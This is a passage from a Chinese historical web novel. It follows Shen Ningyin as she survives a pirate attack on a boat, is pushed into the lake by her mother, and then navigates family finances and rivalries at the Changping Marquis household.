姑娘们周身都在颤抖。侍郎府的人哪里曾见过这样的凶险事情。没人能想象跟外头凶神恶煞的人遭遇会是个什么下场。
“母亲，长兄，各位。”沈宁音道：“水匪们不是来求财的，咱们怎么都跑不掉。留在这儿只能是死路一条。”
眼看众人脸上露出惊恐，沈宁音也知，动员安抚的必要，当下道：“虽则凶险，但我从侯府带来的人都极勇猛，未必没有一战之力。”
下细观察，在见着大家稍稍冷静之后，她又冲下人们许下承诺，若有人身死，十倍抚恤，若活下来，也有重赏。
如今昌平侯府因着被抄，财力大减，连带着下人们的月钱也少了三成，沈宁音给出的赏赐十分诱人，而且也是为着他们自个儿活命，家丁们个个摩拳擦掌眼神晶亮。
沈宁音抓牢鱼叉，在舱室打开的刹那便跟着人一并冲了出去。
事态再拖不得了，这已是她能拖的极限。
四面喊杀声一阵阵传来，血光飞溅，沈宁音眼神发狠，见着贼人就刺。她一身百迭裙，行动并不方便，她便专盯着正跟人打斗的人戳。
水匪们悍不畏死，杀得家丁们节节败退，在有家丁给沈宁音挡刀负伤后，沈宁音通红着眼睛，抬眸去看。水匪们有人死去，就立马有人顶上来。
这些人简直不是寻常水匪，心理分外坚定。沈宁音心生一计，咬咬牙大声喊：“顶住！上京城的增员马上就到了！到时候他们统统要死！”
沈宁音这一嗓子果然有效。如今已经拖延了不少的时间了，水匪们不
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能久战，再加上沈宁音喊话极有技巧，语气笃定信念感十足。先前还进退有据的贼人节奏瞬间就乱了。
侯府乃是军功起家，虽说圣朝已三年不曾打过仗，但家丁们的家人或多或少都是上过战场的，连带着在场家丁都有真本事，没有趁手的兵器也有好几个从敌方手里头抢到刀子的。
先前还是一面倒的形势，如今稍稍扭转了些。
“快走！”沈宁音转身就催促惊恐地愣在门口的众人：“快些从小船先上岸。”
沈宁音最后扫了一眼甲板，也是深觉无力。如今能做的已经做到了最好。可家丁还是太少，一时的振奋，也根本无力回天。自己等人久居内宅，要跟人硬拼，只会是拖累，叫人拿住，还可能成为要挟的工具。
女眷们上了船，小船特别挤。船娘道：“根本坐不下这么多人哩，去几个抱着浮木凫水的。”
如今水里冰冷，个个都是没吃过苦的，瞧见那湖水都是花容失色，谁也不愿意下去。沈淮远苍白着脸色，但瞧见蔡氏和女儿沈玉珠，他便也咬了咬牙：“我下去。”
沈宁音这时候也正往船上下。踩下来的时候，船又朝下面沉了沉。
船娘脸色白了白：“下去三四个啊！不然大家都得死在这儿！”
沈淮远抱着浮木下水之后，给那湖水冻得直哆嗦，脸色发青，连扑腾的动作都显得僵硬。
见他如此，更没人敢下了。
沈夫人脸色苍白：“看我做什么？我年岁大了，哪里能吃这个苦。”她害怕地看了眼船上，听着上边儿的喊杀声，连说话声都有几分颤抖：“我可不能去凫水，那可是水贼，下了水，我被抓着了怎么办？”
沈宁音脸色略沉：“母亲，那你说，这儿的人里头，谁被抓着了比较合适？”
沈夫人给噎了一下，恼羞能怒：“你怎么不下去！”
沈宁音冷冷一笑：“我若下去了，船上的人就能安然脱险么？”
她是有安排的，只不过因着连她自己都不确定能不能成，所以沈宁音并不想将不确定的事儿宣之于口。
时间紧迫，船娘这会儿也是着急了。
这时，沈夫人突然喊了一句：“快看，杀过来了！”
沈宁音心下一惊，顺着沈夫人指着的方向往后上方看了过去。
刹那间，她只觉得后腰上一股子大力，她整个人失去平衡直接就被人推了下去。
80. 得救
冰冷的湖水灌入衣裳，冷岑岑地极重，沈宁音直接就沉了下去。
沈夫人脸上露出一副畅快的表情，蔡氏大惊失色，着急去看，蔡氏还没来得及说话，她只听一声惊呼，沈玉珠就掉进了水里。
“玉姐儿！”蔡氏来不及多想，本能地就跳了下去。
蔡氏和沈玉珠都不会水，在水面上扑腾着。兰香、染竹等人连忙要挤过去救人，现场一片混乱，沈夫人眼看着又下去两个、沈宁音沉了也没浮上来，她也慌了，连忙冲船娘道：“快救人啊！”
沈夫人讨厌沈宁音，但她推的时候也没真想要她死。
这时，大船上的惨叫声突然凄厉起来。小船上几乎都是女眷丫鬟们，全都吓得不轻，沈夫人面露惊恐，涉及性命也顾不上旁的了，吩咐人把几个沈宁音的丫鬟都押起来，她连忙道：“快，快走！捞了人就走不脱了！”
船娘被侍郎府这一大家子的操作弄得叹为观止，船上可都是沈宁音的人在断后，她们恩将仇报不说，还把人家的丫鬟绑起来了。但船娘说到底也只是为了营生。若没有沈宁音派人守着，她跟一群船工早就用着好水性凫水逃了。
船娘咬了咬牙：“行！回头我再返回来救她们。”船上一时间少了四个人，很快就划出去老远。
留下的，唯独一个沈淮远，他整个人都是懵的，沈淮远从来不管闲事，阖府上下都知他软弱，但蔡氏和沈玉珠就是他的命。
沈远淮可以不管任何人，唯独不能不管蔡氏和女儿。他红着眼睛奋力划动冰冷的河水，终于在蔡氏沉下去之前抓住了蔡氏的手。
浮木一下子负着两个人，在水中下沉了许多，好在有惊无险地承受住了，但再多却是不能的。
蔡氏喝下去好几口水，茫然的眼睛在水面上逡巡。
这会儿的天光早已经阴沉了下去，太阳给不知哪儿来的云翳一遮，惨淡得似也在为沈远淮夫妻而哀伤。
“玉姐儿！玉姐儿！”蔡氏听不着周边的嘈杂了，只想往水里挣扎。沈远淮也是眼眶通红，他一面奋力抓紧浮木一面死死箍着妻子，咬着牙：“玉姐儿若出事，我定不放过害她的人！”
蔡氏哭得不能自已。
沈远淮对外冷漠，对内却是极好的，院子里虽也抬了几个姨娘，但都是沈夫人跟沈定山的意思。
蔡氏子嗣艰难，生下玉姐儿后，就再没了动静，他们疼女儿胜过一切。
都过去好一会儿了，沈远淮跟蔡氏都意识到，像这种远离河岸的地方，水有那么深，沈玉珠定是没救的。
就在夫妻俩绝望的时候，忽然看见有很多水泡浮出水面。
蔡氏跟见鬼了一样，惊恐地抱紧了自家夫君。
紧接着熟悉的衣裳浮了上来，再然后冒出水面的就是沈玉珠那张给冰冷河水冻得发青发白的脸。
蔡氏一时间都忘了害怕，连忙要去拉女儿。
沈玉珠明显是没了意识。蔡氏跟沈远淮都不会凫水，浮木又只得一根，两个
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人急得心脏都在抽抽。
沈宁音花了好大功夫才自己冒出了水面来。她狠狠呼吸了一口气。她这会儿很不好受，身体失温，四肢开始僵硬，再加上将才沈玉珠乱蹬乱抓，她想救人都差点儿被小姑娘给扯得搭上一条命去。
好一番折腾，她几乎要到极限了：“快，快抓着她！”她声音嘶哑得过分，麻木到快托不住了。
可蔡氏跟沈远淮也是有心无力。眼瞧着两边都在下沉，沈宁音心里几乎要把沈夫人那些人骂到死！
女儿失而复得，蔡氏心情大起大落，这会儿忙慌慌地开口：“宁音，再坚持一会儿！刚好像听船娘说她会返回来救人！”
沈宁音也想坚持，但十三岁的沈玉珠怎么也有个几十斤重，她前世虽学过些憋气的法门和学会了游泳，但她也不似船娘那些人一般在水上讨生活的，没那么有经验。
眼瞧着昏迷不醒的沈玉珠要滑下去了，她只得哆嗦着手尽力抬高女孩儿的下巴。
人在最困境的时候，时间就仿佛比以往过得慢很多。
沈宁音觉着自己好像已经坚持了很久很久，手仿佛都失去了知觉，慢慢的，连脑子都变得不再清醒。
视线中，蔡氏那张焦急的脸也开始模糊起来。
沈宁音觉着自己大约是不成了，要救人，也得先保住自个儿的命。咬了咬牙，不得己松开了手去。
恰此时，一条绳子突然从远处扔了过来。沈宁音一个激灵，本能地攥紧了绳索。
81. 发烧
“大人，贼人跑了大半，抓了几个活口……”
隐隐约约的，似乎听见有人说话，沈宁音眼睫颤了颤，睁眼有几分费力，视野从猩红化作模糊的人影。
“活口，一个就够了。”低沉的声音带着凉薄，仿若天生的一般。
沈宁音倏然清醒过来，她想起身，却发现身子软绵绵的。
发现动静，有人哭着扑了过来：“姐姐！你终于醒了，你要是出什么事儿，我也不活了！”沈弦思的哭声嘶哑。
沈宁音有点儿膈应，她想开口说点儿什么，却发现嗓子干得厉害。
沈弦思抓着她的手，抓得很紧，那手冰冰凉凉的。沈宁音想挣都挣不开。
这时，男人冷冷的声音传来：“出去。”
沈弦思的表演戛然而止，她一个哆嗦，眼神里带着点儿畏惧和悻悻。但她不敢多留。
沈宁音看着沈弦思离开的背影，看得出来，她是真的怕。
前世今生，沈弦思从来都不待见自己，而如今，沈弦思这样的人竟然宁肯待在自己床边，也不想面对那人的管控。
等人走了，沈宁音便只见薛岚在一步开外站定，他手里拿着一碗茶水。
沈宁音本能地想去拿，奈何别说坐起来，她连抬手的力气都欠奉。
薛岚扶着她，将茶递到她嘴边。
沈宁音颇有点受宠若惊。但转念一想，似薛岚这样的人，不见兔子不撒鹰，他肯来救自己，定是有用得上自己之处。思及此，她也就心安理得地张嘴喝了。
她这般乖巧，低下头喝水的时候，薛岚面具下的眼里似有亮光转了两圈，但很快湮灭在了冷淡里。
沈宁音抬起头，哑着嗓子：“多谢。”
薛岚点点头，说：“你发烧了。”
沈宁音这才意识到，将才并非沈弦思的手凉，是自己烧得厉害。
薛岚松开手：“知会过昌平侯府，稍后会有人来接。”顿了顿，他坐到了床边：“你倒是胆大，敢叫人来李云英的船上求救。”
旁人不知清河的为人，薛岚却知道，清河郡主并非一个慈悲的主，袖手旁观都是轻，说不准还会落井下石。
“我是找你求救。”沈宁音抿紧唇。
“找我，拿这个找？”薛岚将手里的一只绣花鞋扔到她床边，沈宁音看见后，脸颊瞬间通红。那确实是她的鞋子。
“事态紧急，我也是病急乱投医想碰碰运气。”沈宁音别开脸不敢看他。当初薛岚给的玉佩上次已经叫人送回去了，这会儿全身上下，能叫他认出来的，沈宁音只能想到鞋子。
这和当初从寒山寺回来时穿的一模一样。但凡有个旁的，她也就不丢这人了。
好在薛岚大约是没看出来她的窘迫，站起身也没追问。
“对了！”沈宁音突然想起正经的：“那艘舫船上……”
薛岚知她问的什么，开口：“侯府那些人各个带伤，跟你一起的三人都安好。”他顿了顿，沉声：“贼人处救回来几个女眷。”
沈宁音听了前面，松了口气，沈玉珠是自己费尽心力才救起来的，她自然盼着沈远淮一家能平安。但听了后面一句，沈宁音有点沉默。
落到贼匪手里头过，尤其是没出阁的姑娘家，即便还清清白白，但清誉也是严重受损的，高门大户稍微听着点风声，怕是也要掂量掂量的。
但沈夫人费尽心力，最后反而落到了水匪手上。也算是报应不爽。
沈宁音精神头并不好，稍稍过问自个儿贴身丫鬟兰香等人后，便也没再询问此事。只将南烛之事同他说了一遍。
她劝道：“南烛如今快六岁了，我给他请个名师，将来即便不能入仕科举，也能有个好学问，不枉费了他这样的好苗子。”
薛岚沉默良久，方才抬头道：“也好。”许家因为他受的牵连，他自是责无旁贷的。薛岚袖中的拳头捏紧：“南烛的事，我会安排。”
南烛的亲娘与舅
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舅算是通缉犯了，许家也还有好几个人在逃，这样的身份着实棘手，沈宁音自问若交予自己，定然是没法子摆平的，至少现在还不行，只得亲自求到薛岚头上来。
她并未追问细节，只琢磨着将来薛岚死于非命后，得替南烛安排安排。
两人又谈了些旁的事情，譬如陈守岳的事。这人虽可恶，但陈大人那儿的人情，她是要拿的。等沈宁音提到柳太医时，薛岚没说话，一径听着。沈宁音也不知他听进去了多少，最后只扔给她三个字：“等消息。”沈宁音闻言，心里稍稍松了口气。
似皇城司那样的地方，没有消息便是坏消息，薛岚但凡开口，那便是上了心的。余下的事情，沈宁音也只能鞭长莫及了。
薛岚神色凝重，走出舱室，迎面就同赶过来的男人撞上了眼神。
秦耀阳看着他那冰冷的铁面具、身子本能地就僵了一下。
薛岚的眼睛本就凶戾，如今想着事儿时，就更添一丝狠辣，秦耀阳移开眼睛忙往旁边避开。薛岚也再没看他，快步走过。
秦耀阳看着他的背影脸色有些白，他倒不觉着有女子对着这么一张脸能生出旖旎来，他只会担心沈宁音是不是遭了毒手。后头方嬷嬷连声地催：“二爷，少夫人在里面！快去瞧瞧！”
怔忪的秦耀阳这才回过神来，推开虚掩的舱门快步进去。
“宁音！你没事吧！？”秦耀阳坐在床边，一把将她的手握住。
沈宁音将将要睡过去，这会儿被突如其来的动静唬得倏然睁开了眼。
她烧得一阵一阵头晕，喉咙也难受，半个字都不想说。
旁边儿方嬷嬷赶紧去找人拿软轿来。
沈宁音身上裹着厚实的披风，被人往船下扶。出了船舱沈宁音才发现，这船竟然就是郡主李云英的那艘。
“秦家二少夫人？”一个好听的女声轻笑着开口。
只是这声音听在沈宁音耳朵里，她竟听出了几分刺耳来。
82. 书信
清河郡主李云英此刻就站在不远处。她身材袅娜，长相秾丽，光看眉眼气质，李云英绝对符合所有人对于皇室女的矜贵幻想。
沈宁音前世与李云英交往不深，知她因为模样肖似她母亲，所以很受圣人疼爱。还知她性子凉薄，为人狠毒。
沈宁音一直都避着，不想招惹她。但没想到，郡主竟主动上前打招呼。
沈宁音忙开口应声。
她琢磨着怎样转移开李云英的注意力，毕竟沈宁音并不知她为何会关注上自己。
“郡主。”这时候，秦耀阳微笑的声音从一旁传来，这声音将李云英的目光惹了去。
沈宁音送口气的同时，秦耀阳接着道：“多谢郡主相救，等我夫妻回去，昌平侯府定派人去郡主府相谢。”
李云英似是才发现了秦耀阳，愣了一下。沈宁音没有放过清河郡主眼里一闪而过的惊艳。
但也只是眨眼的功夫，李云英点点头，神色就恢复了冷淡：“秦世子言重了，你要谢便去谢薛大人，本郡主才没空管这些闲事。”她冷哼了一声，看向沈宁音的目光带着冷，看得沈宁音浑身不自在。
就，挺奇怪的。
李云英跟秦耀阳，都算是上京城有数的貌美，偏哪个都没多看对方几眼。
沈宁音知道跟清河郡主接触越少越好，索性就眼睛一笔闭，歪向了兰香怀里，她此刻身子是真的弱，装起来毫无违和感。
秦耀阳一惊，紧赶着命人把她扶下船送上了软轿。
等人走后，李云英狠狠攥紧船舷：“真是个贱人！矫情得很！也不知使了什么手段惹了薛岚的在意。”
一旁侍女听罢，宽慰她道：“郡主，奴婢看也未必。”得了李云英注目后，侍女继续说着：“船上那么多人，秦家二少夫人身份最贵重，她出面托那船工潜泳来求救也说得过去。可她到底是个成了婚的妇人，那船上，可还有沈家几个没出阁的女娘呢。保不齐真正想出主意的另有其人。”
李云英听罢，心下也是动摇了几分，沈宁音虽貌美，可沈家好好的姑娘家那么多，薛岚连她李云英都没放在眼里，岂会瞧上沈宁音那样的人。
“也罢，事已至此，再想处置人，也是没机会了。本郡主有的是时间和机会，她们一个也别想落了好。”李云英咬牙切齿转眸吩咐：“那些个水匪留不得，叫人将首尾处置干净些。”
“是。”
傍晚不到，沈宁音被秦耀阳亲自接回了侯府。
她退烧大好时，已是过了三日。
天已经亮了，只是因着云翳遮蔽，透过窗能瞧见的景致也显得灰蒙。
兰香在那儿替沈宁音梳妆，主母这一病，侯府内外都出了不少事。她便开口细细说着听来的事儿。
她说着说着就提到了侍郎府，因着水匪一事，沈家现在还闭门谢客着。
等梳妆完，兰香呈上来三封信，这么多，沈宁音都有些纳闷。
一封是引荐信，给孙靖元的，前两日就到了，沈宁音那会儿攥手里压了一压，老夫人想给秦齐请孙靖元，是有求于自
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己的，她们越是盼着，沈宁音就越不能太轻易给出去。
另一封是陈家的，约着她商议事情。
这两封沈宁音都有预料，而另一封并没有署名，上头也是寥寥几句让她摸不着头脑的话，大抵意思就是感谢她雪中送炭，日后定不辜负。
沈宁音的眉头越蹙越紧，因着这一笔漂亮的小楷她特别熟悉——是冷元景的笔记。
她怎么思忖都没想起来自己何时帮衬过他？
“兰香，冷家那位四郎君最近可有什么消息？”沈宁音貌似不经意问。
兰香愣了一下，道：“少夫人怎的突然问起他来？”她虽不解，但还是照实回答了：“冷四郎君最近两三日都上沈家去求见思姑娘，可一直没见着。”
沈宁音心下微动，联系到那日船上遇险时，曾在清河郡主船上瞧见的沈弦思。沈宁音几乎能确定她们定然发生了什么。
沈弦思的衣裳都换了，一多半是掉水里了。
沈宁音知道沈弦思是不会凫水的，哪怕她抱着浮木，若没有发生什么意外，一个不会水的人，定不敢往水里跳。
“染竹呢？”她环顾四周，突然询问。
兰香点了点头：“这两日祁秀院事情少，她好像是家里母亲得了风寒，她就告假先回去侍疾了。”
沈宁音退了烧，也没旁的事儿，若在从前，她不会说什么，但染竹现在这种情况，委实不太对劲。
想了想，沈宁音吩咐道：“快入冬了，你叫春渠提些米面送去给染竹爹娘。”
83. 体恤
兰香起了个手炉给沈宁音抱着，回廊的风凉，沈宁音将厚实的斗篷拢了拢。
松鹤堂前种了颗银杏，地上有厚厚的一层金黄。
沈宁音刚迈进院门，就瞧见方嬷嬷已经等着了。前些时日闹了些不愉快，但今儿方嬷嬷见着她也是笑脸相迎的。
大宅门儿里的事儿，再怎么不愉快也能为着利益伏低做小的。
“老夫人正念叨呢，二少夫人真真是孝顺，病刚好就过来了。”
方嬷嬷的客套话沈宁音听一听也就算了，若不是因着她发着烧，又有要靠着她母家联络名声在外的夫子，估计沈定山的那封信都落不到沈宁音手里头。
沈宁音一路进去，丫鬟们各忙各的，没人抬头打望，显然是都知道她要来了。松鹤堂在祁秀院那边儿定有人负责盯着。
进了屋子，沈宁音就听里头小声说着话。她没听清，但声音似乎是闵氏的。
“宁音，过来坐。”老夫人冲她招手。
沈宁音这次大大方方坐到她旁边儿，另一边儿坐着的是闵氏，而稀奇的是，向来“体弱多病”且最近日常被禁足的周婉也在。
略说了两句话，老夫人就提起要请孙靖元的事儿。这时候，周婉表面看似乎在喝茶，但却是略略侧耳往这边听。
沈宁音抿了抿唇，从袖子里抽出推荐信来，老夫人苍老的眼睛亮了亮，吩咐方嬷嬷收下去。
沈宁音一时没递过去，只微笑道：“也不知我那远房的表侄儿住哪儿合适？”
众人都是一愣。沈宁音也装作惊讶的神色：“怎么世子没跟你们说么？”
“什么表侄儿？”闵氏眉头蹙紧，心里莫名生出点不好的预感。
“是这样的。”沈宁音娓娓道：“前两天，我与世子提过此事，请了先生后，我接个表侄一起听学。”
“什么？”周婉撑着椅子扶手站了起来，她站起来后也意识到不妥当，忙放软了声音，扯出个笑：“我是想说，既请了先生，一对一不是更好么？”
看她一副一心为公的模样，沈宁音心下冷笑。
周婉打什么主意沈宁音很清楚，在圣朝，除了天生的门阀大族外，寻常人家的儿郎想走捷径，自然是要成为名士的门生。
若能得名士青眼，那几乎是一步登天。就好比前世的冷元景，他学问并不出彩，多亏了孙靖元的指点和后来的人情推荐，这才能一步步稳扎稳打上青云的。
可这样的机会，又有几个人得呢？
似秦齐那样歪了的孩子，将来没得污了先生的名。
闵氏冷着脸，插嘴道：“你当咱们侯府是什么地方？前几日来个亲戚的孩子也便罢了，怎么又塞进来一个？”
她这句，把所有人都说沉默了。
屋里那么多人，闵氏算是唯一一个对秦齐的事儿不知情的了。
沈宁音低头喝茶，没说话，倒是老夫人睃了闵氏一眼，只把个闵氏看得莫名其妙的：“我有说错么？咱们府里的情况，婆母，您应该知道的……”
闵氏有些着急，老夫人打断道：“你闭嘴。”
闵氏神色悻悻地坐下。老夫人看向沈宁音：“宁音啊，你掌家的日子浅，不知柴米油盐。孩子住到府里要吃要穿，哪能随意接人过来的？再者，关系远，就更不妥帖了。”
沈宁音料到众人会反对，可没料到老夫人竟是用这个理由来敷衍。
“不打紧。”沈宁音道：“我那表侄儿的束脩和一应开支都从我这儿出。”
“这……”老夫人陷入沉思。
“那也不行。”周婉攥紧了扶手，声音里有一丝急切：“哪有随意往家里领外人的？要都这么做，岂不是要叫人笑话咱们没规矩。”
沈宁音都替她害臊，最不守规矩的人之一，在这儿担心被人说不规矩？
沈宁音最懒怠与这样的人争论，只将茶杯往桌上一方，道：“既如此，那祖母和大嫂还是另请高明把。”
她说着就要起身去方嬷嬷那儿把信拿回来。
老夫人看她一起身，忙道：“请，自然是要请的。宁音你那表侄儿多大了？”
沈宁音道：“翻过年就六岁了。”
“比齐哥儿小一岁……”老夫人点了点头：“行吧。”
“祖母！”周婉还想争取一下，被老夫人的眼光一瞥，周婉再不服气，也只得退回座椅。
“就这么定
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了。”
等散了之后，周婉留在了松鹤堂，她红着眼圈扑在老夫人怀里。
“祖母！孙先生是江东名士，若是能让齐哥儿成为关门弟子，将来又有周家帮衬着，齐哥儿定能事事顺遂……”
老夫人伸手抚了抚了周婉的墨发，浑浊的老眼里闪着算计：“你当我不知？”
周婉身子一颤，抬起的脸上泪眼朦胧：“可祖母为何要答应了……”
“你呀，也不仔细想想清楚？”老夫人道：“一个五岁的孩儿，那么小就要送到远房表亲家里来念书？这样的人家能是什么好家世？”
“到时候也不过是给你的齐哥儿做陪衬罢了。”
圣朝最好的书本和名师，都在世家手里。出身不好，教育也不会太好，寻常人家的孩子，六七岁不识一个字的比比皆是。
听了老夫人这番话，周婉顿时把心放到了肚子里。
祁秀院。
沈宁音翻开账目查看。
最近一阵，她要么回了娘家，要么病着，几乎都是老夫人跟闵氏管着家。
先前她还纳闷儿闵氏与老夫人何时变得这般宽宥？她去松鹤堂竟然都没给她找麻烦？如今一看见账目沈宁音便明白了。
“少夫人，怎么又多了这么多名目的支出？”兰香苦着一张脸，这会儿兰香跟春渠都不在，就她一个伺候着，看着账目都觉头皮发麻。
“先前咱们好不容易暂时把账平了一半，可入冬的炭火还有年礼，可都要银子。这下好了，也不必等到入冬过年了，平白又亏出来七八百两。”
“……”沈宁音也很无语，什么样的吞金兽能几天花出去好几百两。这可是几天。
沈宁音一目十行，最后归纳了一下，除了给齐哥儿修缮新院子，还买了几个伺候的小丫鬟，另外杂七杂八的占了一半，余下的，竟然是所谓的“体恤钱”。
沈宁音立马叫兰香去打听。后来才知，这是给先前挨打的仆从发的安抚金。
她一个做主母的，第一遭罚人，除了要管理下人外，更多的是要立威。
这下好了，她刚立威完，松鹤堂那边儿就加倍散财。
是要打她的脸面了。
84. 账目
“少夫人，现在怎么办？”兰香压低眉梢，很有些担心。
兰香这么着急还有另一层原因，沈宁音嫁妆铺子那边儿虽卖了几间铺子，可田地欠收，比往年少了三成供奉，最大的六间旺铺也隐隐开始亏钱。但因着亏得不多，卖掉是不合算的。
寻常人遇着这个事儿，大抵是从自己的家底里拿出些帮铺子度过难关。
依着沈宁音从前的性子，定然也是这么处置，兰香最担心主子心软，会顺手也拿钱平了府库里的亏空。
“能怎么办？”沈宁音合上账目：“谁做的，就叫谁解决去。”她随手勾掉了几处开支。
翌日，外院的仆从们明显对祁秀院不经心了。兰香脾气又暴，可这回，她发脾气，竟也有人敢顶嘴了。
沈宁音微推开窗子就瞧见兰香气呼呼地回来，小声同丫鬟们吐着苦水。
素手放下轩窗，沈宁音提笔气定神闲写着账目，就仿佛什么事儿都没发生般。
兰香本不欲同主子诉苦，但她心里憋不住事儿，到底是旁敲侧击提了一嘴。沈宁音只是笑了笑，宽慰了两句。
晚上，秦耀阳过来了。
男主子来院儿里歇着原是好事，只是上回出事以后，没有沈宁音的首肯，丫鬟们也都不敢去张罗。
秦耀阳站在那儿很有些局促。沈宁音把他晾了许久，才抬头，脸色惊讶：“世子何时来的？”
秦耀阳眼底隐约有一丝尴尬，他摸了摸鼻子，笑着颔首：“来了有一会儿了，宁音这是在写账目？”
“嗯。”沈宁音点点头，又垂首继续写。
房间里唯有毛笔书写的声音，和两人的呼吸声。
沈宁音知道秦耀阳定有什么想说的，但无妨是什么，定也是自个儿不想听的。秦耀阳要脸，但凡自己不说话，秦耀阳也不好开口。
两人的相持直到第三个人进来打破——兰香进来添了盏灯。
灯烛明亮起来，照在沈宁音脸上，平白晕出了几分温柔的意味，秦耀阳坐到她旁边儿看着她。
“宁音，我此来是与你商量些事儿。”
沈宁音写完手底下字的最后一笔，方抬起头来：“世子有事，但说无妨。”
秦耀阳默了默，还没开口脸先臊红了：“我前阵子给你的金器可还在？我……我想拿回去摆几日。”
沈宁音早料到了这一茬，此刻神色里带着遗憾：“世子也不早说，那些个金器，我拿去换成了银子。”
秦耀阳愣在那儿。
沈宁音抿唇微笑：“妾身想着，世子既给了我，我这儿也放不了，索性就都处置了。”她关切道：“我嫁妆里还有几样银器，世子若是要摆着赏玩，妾身去找人在外头刷一层金，想来也是一样的。”
秦耀阳听了这话，连脖子都臊红了，连连摆手：“倒也不必，既卖掉了，就罢了。”
他说完这句，起身要走，沈宁音看他脸上变幻的神色，心中好笑，便也起身去送他。
走到门口，秦耀阳的手搭上门扉，突然就停了步：“宁音……”他转身，垂眸看向她。
沈宁音脸上是平静的笑容：“妾身在。”
秦耀阳眼神挣扎，深吸了口气：“齐哥儿的听雨轩怎的只有三两银？”
“我明明记着祖母拨的是每月二十两。”
沈宁音一听，隐约记起来是有这么回事儿，那日她随手就把花钱最多的几处院落直接给削了。
那时她就纳罕，听雨轩自己之前都没印象，怎的例银这么多？原来是老夫人的重孙。
老夫人要问也不会来祁秀院。秦耀阳又是个甩手掌柜，能劳动他纡尊降贵管这事儿的，唯剩一个周婉。
沈宁音眼底的
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神色冷了几分，脸上的笑意却是挑不出错的温婉：“是妾身做主削减的。”
“为何？”秦耀阳凝眉，意识到自己过于急切，他忙放轻了语气：“齐哥儿家里对族中贡献不少，若是薄待了，说出去不好听。要不，还是涨回去吧？想来祖母那边也是没意见的。”
沈宁音当然知道老夫人处不可能有意见，但这个口子一开，往后府里的中馈可就要等着缺口越扯越大了。
见她久久不说话、垂眸似在思索，秦耀阳伸手握住了沈宁音的手。
冰凉的雪肤腻在掌心，秦耀阳没来由有些愣怔。
但很快，沈宁音就不动声色地将手抽离。一时间，秦耀阳只觉得那种空落落的感觉从掌心一直满眼到心里。
这感觉尤其诡谲，他这次竟全然忘记了周婉的脸。直到耳边响起了妻子的声音，秦耀阳才从愣怔里会过神来。
“世子，巧妇难为无米之炊，府里的情况您大约也察觉到了。”沈宁音抬眸，定定看向了他的眼：“祖母虽只有你一个孙儿，母亲也唯独你一个儿，世子兴许也不了解上京城其他家宅的哥儿、姐儿们如何花用。寻常富贵家庭，孩子们是每月四五两银。”
“那还是嫡出子女，若是庶出的，便要折半的。”
秦耀阳愣怔当场，眼眸微微瞠大：“可是，别家是别家，咱们家岂能一概而论？而且祖母也说，府里的铺子也在盈余……”
沈宁音摇了摇头，笑容温婉：“话虽如此，府里头各处都要用钱，哪里都缺的，且年节日还要送礼作人情，那点儿盈余是断断不够的。”
秦耀阳的确不懂这些，他一着急脸色就难看起来：“那怎么办？就这么让旁人说嘴，叫人戳咱们脊梁骨么？”
“谁敢？”沈宁音收了笑：“齐哥儿是秦家的孩儿，三两银是比照着上京城的规矩来的！”
85. 心变
“世子别忘了，齐哥儿并不是府里正经的哥儿，只是寄养的亲戚。”沈宁音提醒道：“若放在往日，多个十几两倒也罢了。但府库里头，可没有银子了。”
昌平侯府刚被抄了，沈宁音看得出，不管是秦耀阳还是周婉都还没能适应简朴的生活。
秦耀阳愣怔在当场，有些不敢相信：“咱们府里当真就到了这样的地步了？”
沈宁音没有正面答：“世子可去找祖母问过银子了？”
秦耀阳说不出话来了。他去问过的，但老夫人把他支到祁秀院。
秦耀阳袖子里的指节松开了又握紧，攥紧了又松开，他原也没想着这么多，因着脸皮薄，又给周婉哭哭啼啼闹得心疼不已，所以才想着把那几件当初给沈宁音的金摆件拿去换银子，先糊弄一阵子。
沈宁音也不必听他亲口说，从他表情也能猜出个大概。她转身招了招手，兰香便走过来听吩咐。
不一会儿，兰香拿了些银锭子，沈宁音素手拿绣了海棠花的精致荷包细细装了，递给秦耀阳：“夫君，这儿有二十两银，你且先拿着花用。”
秦耀阳将荷包拿在手里头，银子的厚重感透过布帛传递到指腹、手心，回想人生二十多秋，哪怕是大哥健在的时候，他秦耀阳也从没有短过银子，此时此刻，自有陌生复杂的滋味在心头。
沈宁音一双眸子看着他，跳跃着烛火，眼神是再婉约不过的温柔：“妾身知道世子心善，但咱们侯府要先紧着自己人。”
看秦耀阳拿着银子不说话，沈宁音开口道：“天儿越发冷了，世子可要歇下？”
这会儿的秦耀阳哪里还有心思留在祁秀院，兰心居的伊人尚且还盼着。
沈宁音也没挽留，只叫兰香又点了一盏灯予秦耀阳身边儿的随从。
看着暗淡的天幕下，两盏灯越行越远，沈宁音揉了揉额角。
“少夫人，天儿凉，咱们先回去吧。”兰香扶着她回屋，很有些不忿：“世子爷竟真开口问您要银子。还是老夫人支绌过来的，旁人不知，难道这些天老夫人管着银钱，她会不知府里的处境？”
沈宁音轻嗤，那老妖婆当然知道，她眉眼清冷，淡淡道：“她就是知道，才叫世子过来讨的。”
“少夫人？”兰香心下一惊，抬眸看向沈宁音。
这儿没外人，沈宁音坐到妆镜边拆发，她也不瞒着心腹：“如今府库里头没银子剩下，外头庄户、生钱的铺子、利息，拿到府里就花用出去了。她偏支使着世子来开口要。我若不给，非但夫妻要生嫌隙，叫外头人得知，我的名声也别想好听。怎么都能将我一军。我自不会给她把柄口实。”
兰香攥紧了手掌：“松鹤堂真真是欺人太甚！”
看她义愤填膺，沈宁音安抚地拍了拍小丫头的手心。
她没有解释的是，这银子得给，但不能以给听雨轩的名声给出去。而且给多少也是有讲究的。
二十两，不算少，却也算不得多，秦耀阳若倔犟着不给周婉和秦齐，沈宁音倒还高看他一眼，旁人来讨，沈宁音自有法子应对。可他若给了，一多半能叫周婉与他更生嫌隙……
暮色四合，兰心居里热闹起来。
丫鬟们做好准备，专有人在门口盼着男主子过去。
兰心居的丫头换过了一茬，这次有两三个颜色好的，是元妃派人给挑过来伺候妹妹的。
周婉看着她们心烦，就赶去了外头值守。
不多时，就有丫鬟欢喜地过来禀告：“大少夫人，二爷来了。”
周婉眼眸染上希冀，连忙起身整理衣裳，又牵着秦齐的手迎上去。
秦耀阳进屋，厚实的大氅带起来一阵夜凉。周婉为着身材看起来袅娜好看，穿得略薄，给那冷意一浸，整个人哆嗦了一下。
秦耀阳见着她们母子，一路凝着的眉头松了开来，取下大氅挂在旁边儿，上面摸了摸秦齐的脸。
秦齐早就得了亲娘吩咐，扑上去叫爹爹，秦齐在外头虽顽劣但他生得乖巧，不发脾气的时候倒也有秦耀阳三分玉面。秦耀阳看着守了多年的女娘，又看着自己的儿子，骨子里的父爱就泛滥而出。
